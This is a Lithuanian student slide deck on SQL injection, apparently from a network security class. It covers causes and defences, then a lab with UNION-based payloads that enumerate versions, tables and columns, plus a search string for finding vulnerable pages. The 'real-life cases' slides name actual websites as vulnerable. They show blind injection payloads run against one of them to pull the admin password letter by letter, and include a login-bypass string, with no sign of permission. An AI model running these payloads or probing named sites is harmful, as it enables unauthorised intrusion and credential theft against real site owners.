140 likes | 316 Views
Justinas Bimbiris Agnas Malūkas. Tinklų saugumas. SQL Injection. SQL Injection – tai viešas kreipimasis į duomenų bazę bandant išgauti ir/ar pašalinti duomenis.
E N D
Justinas Bimbiris Agnas Malūkas Tinklų saugumas
SQL Injection • SQL Injection – tai viešas kreipimasis į duomenų bazę bandant išgauti ir/ar pašalinti duomenis. • Tai nutinka, kai į URL ir/arba įvedimo lauką įterpiama užklausos dalis, kuri yra tęsinys administratoriaus suformuotos užklausos. Taigi visa užklausa bus įvykdyta, jeigu ji yra teisingai suformuluota, be administratoriaus žinios.
SQL injection • Priežastys: duomenų bazė neparuošta viešam naudojimui – paliktas „debugging“režimas, kuris įvedus blogą užklausą gali atskleisti puslapio pažeidžiamumą ir/ar dalį duomenų bazės informacijos; netikrinama užklausos informacija.
SQL Injection • Apsisaugojimo būdai: išjungti „debugging“ režimą; naudoti programavimo kalbų informacijos įterpimo į duombazę paruošimo funkcijas(pvz. mysql_real_escape_string), kurios neleis įterpti kabučių į užklausas. Kur reikia konvertuoti reikšmes į sveikus skaičius. Rekomenduojama naudoti POST duomenų perdavimo būdą, nes jis duomenis perduoda ne per URL, todėl jų nebus galima paredaguoti savavališkai. Taip pat tikrinti visų įvedimo laukų reikšmes spec. funkcijomis.
Laboratorinis įgyvendinimas • Resursai: bandymams buvo naudojama PHP 5.3.10, MySQL 1 5.5.20 • Žingsnis 1: ieškodame stulpelių skaičiaus: po id prirašome 'id=* order by „skaičius“--'skaičius – bandome nuo 1 iki n kol gauname SQL klaidą. Tada žinome kiek stulpelių yra toje lentutėje.
Laboratorinis įgyvendinimas • Žingsnis 2: žinodami stulpelių skaičių galime manipuliuoti užklausa bandant išgauti informaciją. Dėl visa pikto surandame SQL versiją(dėl jos gali skirtis užklausos): 'id=* union all select 1,..,“skaičius“ - 2, version()--'. • Žingsnis 3: ieškome lentučių pavadinimų: 'id=* union all select 1,..,“skaičius“ - 2, table_name from information_schema.tables--'. • Žingsnis 4: ieškome stulpelių pavadinimų: 'id=* union all select 1,..,“skaičius“ - 2, column_name from information_schema.columns--'
Realaus gyvenimo atvejai • Surasti pažeidžiami puslapiai:http://www.uoc.lthttp://www.amskrupajal.org/AdminLogin.asphttp://www.marmoon.com/games.php?id=437 • Paieška: ieškome Google':inurl:*.php?id='* - index, article, news,..Radę turime įsitikinti, jog puslapį galime pažeisti, tam prie id prirašome ' ir tikimės išvysti SQL klaidą.
Realaus gyvenimo atvejai • Veiksmai: bandėme prisijungti prie tinklapio administratoriaus teisėmis, išgauti lentučių, stulpelių skaičių, pavadinimus, ..
Blind SQL Gaunam klaidų, geras ženklas http://www.marmoon.com/games.php?id=437 and substring(@@version,1,1)=5 Gaunam klaidų, geras ženklas Puslapis užsikrauna normaliai, vadinasi yra 5 stulpeliai lentelėje.
Blind SQL • Atspėjom lentelę admin ir stulpelį pass, jeigu puslapis su užklausa and (select substring(concat(1,pass),1,1) from admin limit 0,1)=1 užsikrauna normaliai
Blind SQL • Spėjam slaptažodį paraidžiui:?id=437 and ascii(substring((SELECT concat(name,0×3a,pass) from admin limit 0,1),1,1))>80 • Bandom, kol nebematom klaidų ir paverčiam iš ascii
SQL logging • Paprastas prisijungimas naudojant sql injecionusername:x' or '1'='1pass:x' or '1'='1
Ką išmokome? • Kuriant tinklapį reikia pagalvoti apie ne geranoriškus vartotojus ir jų ketinimus „pažaisti“ su jūsų tinklapio kreipimosi į duomenų bazę spragomis.